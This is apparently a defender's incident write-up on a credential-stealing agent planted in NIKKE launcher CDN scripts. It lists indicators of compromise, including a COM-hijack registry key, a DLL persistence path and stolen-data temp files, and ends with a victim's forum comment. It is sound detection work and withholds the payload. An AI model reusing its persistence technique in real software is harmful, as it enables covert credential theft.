# insight.bundle ETags (nginx: hex mtime - hex size)
6ae60b83-3214f 6ae69086-3214f 6ae78037-3214f 6ae8ccff-3214f 6ae90538-3214f 6ae9d408-3214f 6ae9f628-3214f
# Agent state (Local Storage, survives deleting the NIKKE folder)
%APPDATA%\nikke_launcher\tbs_cache\Local Storage\leveldb\*.log or *.ldb containing k2f.agent.state (.ldb tables can be compressed)
# Windows persistence (the PlatformExperienceHelper folder itself is normal Chrome; only the 64-hex subfolder with the DLL is malicious)
%LOCALAPPDATA%\Google\Chrome\User Data\PlatformExperienceHelper\<sha256>\platform_experience_helper.dll
HKCU\Software\Classes\CLSID\{E77CC89B-7401-4C04-8CED-149DB35ADD04}\InprocServer32
# The DLL is patched per victim (agent ID and token), so its hash is not a shared indicator. Look for the path and the key.
# The agent's cleanup code also deletes platform_experience_helper.dll, .dll.old and old-clsid.txt in
# PlatformExperienceHelper\ inside each Chrome Application folder, and a service_util.dll in its
# working folder, probably leftovers of an earlier version.
# Temporary files (normally deleted right after use; one leftover k2f-bcreds copy was reported)
%TEMP%\k2f-bcreds-<unix time>-<random>.db
%TEMP%\k2f_screen_<unix time>_<n>.jpg (.png in the Oct 23 build, reported)
%TEMP%\k2f-keyscan-<time>-<rand>.db (Oct 23 build only, reported)
- Four modified files on Tencent COS had
last-modifiedSep 27 2026, 06:41-06:42 GMT.aegis-fix.min.js,vue-bucket.min.jsandimages.7fec4c32.jswere replaced on Nov 3 between 17:04 and 17:23 GMT. FeedList.feb647c9.jswas replaced at the origin on Oct 28 at 15:46 GMT and uploaded again on Nov 3 at 20:13 and 20:19 GMT. 43.175.144.148 and 43.175.145.181 still served the Sep 27 copy on Nov 3 at 22:26 GMT, for bothna-webassetsandsg-gpts, also for requests with a query string, and 43.175.139.78 still served it forna-webassetson Nov 4 at 00:48 GMT. The four servers checked took the clean copy between 03:12 and 03:21 GMT on Nov 4 and were clean at 11:20 GMT. Other CDN servers were not checked, so each path should still be checked on every server, not only on the one a given resolver returns.- Players who launched since Sep 27 may still have the modified files in
tbs_cache, andFeedList.feb647c9.jskept its URL in the Nov 4 front-end. The manual check instructions ask players to deletetbs_cache, but the notice does not say that the check in the official PC client clears it. The launcher should giveFeedList.feb647c9.jsa new URL, or ask before it clearstbs_cache, which also holds traces that show whether the agent ran. - The attacker had write access to the CDN bucket, or to the pipeline that publishes to it. That access has to be found and closed. Otherwise a new loader with a new domain can be pushed at any time.
- Other files in the same buckets may also be modified. They should be checked against build output.
- The follow-up notice dates the start of distribution to Oct 30 at 03:52 UTC+9, but victims reported agent starts on Oct 23 and Oct 24 (see the timeline). The loader was in the CDN files from Sep 27, so server and CDN logs should be reviewed from Sep 27, the date the notice already uses for player checks.
- The manual check instructions should also name
%APPDATA%\nikke_launcher_hmtand%APPDATA%\nikke_launcher_google, and any file inLauncher\log\tinygetthat starts with1B 4C 4A 01, whatever its size. - The client's malware check deletes the related logs when the player agrees to its pop-up. Players need
debug.logto know whether the agent ran on their PC, so the check should keep that file, or tell players to save it first. - The decompiled payload, the decoded string table and a password-protected sample are available to Level Infinite, hosting providers and security researchers on request. They are not posted here because they would give anyone a working stealer.







I became aware of the situation yesterday like 30mins after people started talking about it online, checked the
debug.logand saw one instance ofk2f_chanthe last time I logged into the game (Monday, Nov 2nd), the line was near the end of the log. Unfortunately I didn't pay close attention at the time to what else was in the log as I just closed it down and immediately uninstalled everything Nikke related from my PC. The only other evidence I have is from NetworkUsageView, which shows that 1.54MB of data was sent out on the day thatk2f_chanwas activated. I don't have anything else, no registry files modified, no .dll files added or changed either. I did clear my cookies, sign out of everything that I could and change most of my important passwords, but I am thinking that maybe I should just reinstall Windows, at least fully reformatting my main drive where Windows is currently stored. I have a couple of other internal drives connected as well, though backing them up would be an absolute pain in the ass with how much stuff there is on them. Oh and I also barely used Chrome, just like DylanChusday. I do have it installed and it did have 7 old passwords saved but otherwise it was pretty empty as I haven't really used it in the past few years